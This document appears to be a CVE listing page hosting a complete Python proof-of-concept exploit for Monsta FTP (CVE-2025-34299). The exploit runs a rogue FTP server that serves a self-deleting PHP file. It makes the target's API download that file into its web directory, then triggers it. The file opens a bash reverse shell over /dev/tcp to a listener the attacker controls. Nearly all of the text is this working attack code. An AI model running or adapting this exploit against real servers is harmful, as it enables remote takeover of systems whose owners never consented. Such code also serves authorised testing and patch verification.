4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
"""
Monsta FTP CVE-2025-34299 Exploit
by chocapikk
"""
import argparse
import json
import os
import random
import requests
import socket
import string
import sys
import tempfile
import threading
import time
import urllib3
from pwn import remote
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class ExploitFTPHandler(FTPHandler):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.banner = "FTP Server Ready - chocapikk edition"

class Listener:
    def __init__(self, bind_host, bind_port):
        self.bind_host = bind_host
        self.bind_port = bind_port

    def start_listener(self):
        try:
            with socket.create_server((self.bind_host, self.bind_port)) as listener:
                print(f"[*] Listening on {self.bind_host}:{self.bind_port}...")
                listener.settimeout(1)
                while True:
                    try:
                        client, addr = listener.accept()
                        print(f"[+] Received connection from {addr[0]}:{addr[1]}")
                        client.settimeout(0.1)
                        self.handle_client(client)
                        break
                    except socket.timeout:
                        continue
        except Exception as e:
            print(f"[-] Failed to start listener: {e}")

    def handle_client(self, client):
        """Handle reverse shell connection with pwntools"""
        try:
            # Create pwn tube from socket
            tube = remote.fromsocket(client)
            tube.interactive()
        except (KeyboardInterrupt, EOFError):
            print("\n[*] Connection closed")
        except Exception as e:
            print(f"[-] Error: {e}")
        finally:
            client.close()

def start_ftp_server(host, port, lhost, lport):
    """Start malicious FTP server with random filename, credentials and reverse shell payload"""
    ftp_dir = tempfile.mkdtemp()
    random_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=12)) + '.php'
    payload_file = os.path.join(ftp_dir, random_filename)
    
    # Generate reverse shell payload with self-delete - chocapikk style
    payload = f"<?php $f=__FILE__; exec(\"/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1 &'\"); unlink($f); ?>"
    
    with open(payload_file, 'wb') as f:
        f.write(payload.encode())
    
    # Generate random credentials
    user = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
    pwd = ''.join(random.choices(string.ascii_letters + string.digits, k=12))
    
    authorizer = DummyAuthorizer()
    authorizer.add_user(user, pwd, ftp_dir, perm="elradfmw")
    
    ExploitFTPHandler.authorizer = authorizer
    server = FTPServer((host, port), ExploitFTPHandler)
    server.max_connections = 256
    
    return server, ftp_dir, f"/{random_filename}", user, pwd

def exploit(target, host="172.17.0.1", port=2121, lhost="172.17.0.1", lport=4444):
    """Exploit Monsta FTP CVE-2025-34299 - by chocapikk"""
    # Start reverse shell listener
    listener = Listener(lhost, lport)
    listener_thread = threading.Thread(target=listener.start_listener, daemon=False)
    listener_thread.start()
    time.sleep(1)
    
    server, ftp_dir, remote, user, pwd = start_ftp_server(host, port, lhost, lport)
    
    # Start FTP server in background
    threading.Thread(target=server.serve_forever, daemon=True).start()
    time.sleep(1)
    
    # Generate random local filename
    local = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) + '.php'
    
    # Prepare request
    api_url = f"{target.rstrip('/')}/application/api/api.php"
    request_data = {
        "connectionType": "ftp",
        "configuration": {
            "host": host,
            "username": user,
            "initialDirectory": "/",
            "password": pwd,
            "port": port
        },
        "actionName": "downloadFile",
        "context": {
            "remotePath": remote,
            "localPath": local
        }
    }
    
    try:
        response = requests.post(
            api_url,
            data={"request": json.dumps(request_data)},
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            timeout=30,
            verify=False
        )
        
        try:
            response_data = response.json()
        except (json.JSONDecodeError, ValueError):
            print(f"[-] Invalid JSON response: {response.text[:200]}")
            return False
        
        if response.status_code == requests.codes.ok and response_data.get("success"):
            payload_url = f"{target.rstrip('/')}/application/api/{local}"
            print(f"[+] Payload uploaded: {payload_url}")
            print(f"[*] Triggering reverse shell (payload will self-delete)...")
            try:
                requests.get(payload_url, timeout=5, verify=False)
            except:
                pass
            listener_thread.join()
            return True
        
        print(f"[-] Failed: {response.text}")
        return False
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

def main():
    parser = argparse.ArgumentParser(description="Monsta FTP CVE-2025-34299 Exploit")
    parser.add_argument("target", help="Target URL")
    parser.add_argument("--host", default="172.17.0.1", help="FTP server host")
    parser.add_argument("--port", type=int, default=2121, help="FTP server port")
    parser.add_argument("--lhost", default="172.17.0.1", help="Listener host")
    parser.add_argument("--lport", type=int, default=4444, help="Listener port")
    
    args = parser.parse_args()
    
    success = exploit(
        args.target,
        host=args.host,
        port=args.port,
        lhost=args.lhost,
        lport=args.lport
    )
    
    sys.exit(0 if success else 1)

if __name__ == "__main__":
    main()